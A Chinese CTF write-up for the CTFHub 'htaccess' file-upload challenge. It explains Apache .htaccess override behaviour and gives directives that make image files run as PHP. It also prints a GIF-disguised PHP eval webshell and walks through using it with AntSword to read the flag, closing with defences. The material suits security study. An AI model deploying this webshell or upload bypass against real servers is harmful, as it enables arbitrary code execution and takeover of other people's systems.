CTFHub 文件上传-htaccess绕过

目录

一、htaccess

1、基本概念

2、核心工作原理:逐级覆盖

3、与 httpd.conf 的关系

4、htaccess在文件上传攻击中应用

(1)创建.htaccess文件

(2)上传恶意文件

(3)触发攻击

5、防御核心

二、渗透实战

1、打开靶场

2、构造脚本

(1)构造PHP脚本

(2)构造htaccess文件

3、直接上传脚本文件

(1)上传.htaccess

(2)上传mooyuan.gif

4、访问木马

5、连接蚁剑

6、获取flag


本文详细解析了CTFHub文件上传"htaccess"关卡的绕过技术的原理与实战应用。htaccess作为Apache服务器的分布式配置文件,允许目录级配置覆盖,攻击者可借此绕过安全限制。文章演示了攻击流程:先上传.htaccess文件强制将图片解析为PHP,再上传伪装成GIF的WebShell。通过蚁剑连接后成功获取flag。防御关键在于严格限制上传目录权限和禁用.htaccess功能。该技术展示了配置文件在渗透测试中的重要作用及相应的防护措施。

一、htaccess

1、基本概念

  • 全称:Hypertext Access(超文本访问)

  • 本质:是一个纯文本配置文件。

  • 作用:用于针对特定目录改变Apache Web服务器的配置。

  • 核心思想分布式配置管理。它允许你为每个目录及其所有子目录设置不同的规则,而无需修改全局的主服务器配置文件(通常是 httpd.conf)。

2、核心工作原理:逐级覆盖

.htaccess 的工作原理的核心是 “逐级查找与覆盖”

  • 接收请求:当Apache服务器收到一个对某个URL的请求(例如 http://example.com/images/pic.jpg)时,它会确定该请求对应的物理文件路径(例如 /var/www/html/images/pic.jpg)。

  • 逆向查找:服务器会从请求文件的所在目录开始向上逐级回溯到网站根目录,寻找每一级目录中是否存在 .htaccess 文件。

    • 查找顺序:/var/www/html/images/pic.jpg → 检查 /var/www/html/images/ 目录

    • 如果没有,继续向上 → 检查 /var/www/html/ 目录(网站根目录)

    • 依此类推,直到找到或到达文件系统根。

  • 读取与合并所有被找到的 .htaccess 文件都会被读取和执行。更底层(更靠近具体文件)的目录中的 .htaccess 配置会覆盖更上层目录中的相同配置。

  • 即时生效:与主配置文件 httpd.conf 需要重启Apache才能生效不同,.htaccess 文件的修改是立即生效的。因为Apache会在每次请求时(如果配置允许)去读取这些文件。

3、与 httpd.conf 的关系

  • 主从关系:主配置文件 httpd.conf 是全局的、顶层的配置。.htaccess 是局部的、分布式的配置。

    • 启用与否:.htaccess功能必须先在httpd.conf中被允许,通过AllowOverride指令控制。

      • AllowOverride None:服务器完全忽略 .htaccess 文件。

      • AllowOverride All:允许使用 .htaccess 中的所有指令。

      • AllowOverride AuthConfig Indexes:只允许使用认证类和目录索引类指令。

4、htaccess在文件上传攻击中应用

通常,服务器会根据文件的扩展名(如 .php.jpg)来决定如何处​​理它。.php 文件会被 PHP 引擎执行,而 .jpg 文件则被当作静态图片直接发送给浏览器。攻击者的思路是:如果我无法直接上传一个 .php 文件(因为被黑名单过滤),那我就上传一个配置文件,命令服务器:“从此以后,把这个目录里所有的 .jpg 文件都当作 .php 文件来解析!”这个“配置文件”就是 .htaccess。攻击步骤如下所示。

(1)创建.htaccess文件

攻击者会创建一个文本文件,并将其命名为 .htaccess。文件内容通常包含以下两种指令之一:

  • 方法A:使用 SetHandler (针对特定文件类型)

    # 命令服务器将所有 .jpg 文件视为 PHP 程序执行
    <FilesMatch "\.(jpg|jpeg|png|gif)$">
        SetHandler application/x-httpd-php
    </FilesMatch>
    • FilesMatch "\.(jpg|jpeg|png|gif)$":这是一个正则表达式,匹配所有以 .jpg.jpeg.png.gif 结尾的文件。

    • SetHandler application/x-httpd-php:为匹配到的文件设置处理器为 PHP 解析器。

  • 方法B:使用 AddType (添加新的 MIME 类型映射)

    # 直接重新定义 .jpg 扩展名的 MIME 类型,使其等同于 .php
    AddType application/x-httpd-php .jpg .png .gif

(2)上传恶意文件

  • 攻击者首先尝试上传恶意的 .htaccess 文件。

  • 如果上传成功,接下来他会上传一个包含WebShell代码的图片文件,例如 shell.jpg。这个文件的内容看起来像这样:

    GIF89a; // 图片的文件头,用于欺骗简单的文件内容检查
    <?php @eval($_POST['cmd']); ?> // 真正的一句话木马代码

(3)触发攻击

  • 攻击者访问他上传的“图片”文件:http://target.com/uploads/shell.jpg

  • 服务器收到请求后,会先读取 uploads 目录下的 .htaccess 文件。

  • .htaccess 规则生效,服务器不再将 shell.jpg 视为图片,而是将其交给 PHP 引擎去解析

  • PHP 引擎会成功解析 <?php ... ?> 标签内的代码。

  • WebShell 被激活,攻击者就可以通过 cmd 参数执行任意系统命令,完全控制服务器。

5、防御核心

.htaccess 文件上传攻击是一种权限提升攻击。攻击者通过上传一个配置文件,局部地修改了服务器的行为,将无害的静态文件“变”成了危险的动态脚本。防御的核心在于:

  • 前端:对上传文件进行白名单验证和重命名。

  • 后端(根本):在服务器配置中,严格限制上传目录的权限,使用 AllowOverride None 和 php_admin_flag engine off 两条指令,从根源上使其失效。

二、渗透实战

1、打开靶场

打开关卡如下所示,提示信息为“htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能”,提示本关卡可以利用htaccess进行文件上传绕过。

点击打开题目,此时系统自动创建Docker环境,下图蓝色部分的URL地址就是靶场环境。

复制靶场链接(challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800)到浏览器的地址栏中并访问。

http://challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800

2、构造脚本

(1)构造PHP脚本

新建一个存放着一句话木马的php文件,脚本名为mooyuan.php。这段GIF89a文件头后嵌入PHP代码的文本,是一个伪装成GIF图片的WebShell后门。它利用图片文件头“GIF89a”绕过安全检查,当服务器被配置为将.gif文件解析为PHP时(如通过.htaccess设置),该文件就会被执行。其中的eval($_POST['ljn'])函数允许攻击者通过POST请求执行任意PHP代码,从而完全控制服务器,构成严重的安全威胁。

GIF89a
<?php
echo "mooyuan";
@eval($_POST['ljn']);
?>

GIF(Graphics Interchange Format)文件常见版本有 GIF87a 和 GIF89a,它们的 16 进制文件头标识都是 47 49 46 38 39 61 ,对应 ASCII 字符就是 GIF89a 。右键16进制编辑,如下所示,mooyuan.php的文件头内容符合gif格式的文件头标识。

(2)构造htaccess文件

构建.htaccess文件,这段代码强制将 mooyuan.gif 文件作为 PHP 脚本解析,用于隐藏恶意代码。

<FilesMatch "mooyuan.gif">
	SetHandler application/x-httpd-php
</FilesMatch>

注意:.htaccess文件默认被隐藏,需勾选Show Hidden Files使其可见。

3、直接上传脚本文件

(1)上传.htaccess

将构造好的.htaccess文件直接上传,如下所示上传成功。

(2)上传mooyuan.gif

将构造好的mooyuan.gif文件直接上传,如下所示上传成功。

4、访问木马

构造木马的URL,具体如下所示。

靶场路径为http://challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800/
上传的mooyuan.gif的路径为upload/mooyuan.gif的拼接,
将两者拼接即构造脚本的URL地址:
http://challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800/upload/mooyuan.gif

访问木马mooyuan.gif脚本,POST Data设置为ljn=phpinfo();点击Execute,出现php信息页面。

5、连接蚁剑

配置并连接蚁剑,具体步骤和URL脚本地址、密码、和连接效果如下所示。

  • 打开蚁剑,右键选择"添加数据"。

  • "URL"地址中填写上传木马文件的完整路径。

  • 在"连接密码"中填写WebShell中定义的密码(本文中为ljn)。

  • 其他设置可保持默认,点击"测试连接"。提示成功后,点击添加数据。

URL地址:http://challenge-3d7df207f8fa2e2c.sandbox.ctfhub.com:10800/upload/mooyuan.gif
密码ljn

 点击添加后效果如下所示,接下来我们需要进入文件系统中寻找flag文件,通常情况下flag文件常位于网站的根目录(如/var/www/html)。

在蚁剑中双击新添加的连接或追右键点击文件管理,进入靶场的文件系统中。F

6、获取flag

在/var/www/html文件夹(也就是网址的根目录)中找到了flag文件,如下所示。

成功获取flag:ctfhub{7186b35b2731feef8beb2471}。

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值